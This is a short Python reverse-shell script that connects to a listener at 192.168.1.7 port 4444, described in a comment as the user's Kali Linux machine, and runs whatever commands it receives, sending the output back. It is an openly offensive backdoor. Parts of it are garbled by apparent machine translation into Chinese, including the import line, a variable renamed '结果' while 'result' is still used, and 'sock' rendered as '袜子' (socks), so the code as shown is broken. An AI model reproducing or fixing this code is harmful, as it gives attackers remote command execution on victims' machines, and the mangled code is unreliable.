#!/usr/bin/python
导入子进程导入套接字
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(("192.168.1.7", 4444)) # 第一个参数是你的kali linux机器的IP地址
while True: command = sock.recv(2048) if command == "q": break else: proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess. PIPE) 结果 = proc.stdout.read() + proc.stderr.read() sock.send(result)
袜子.close()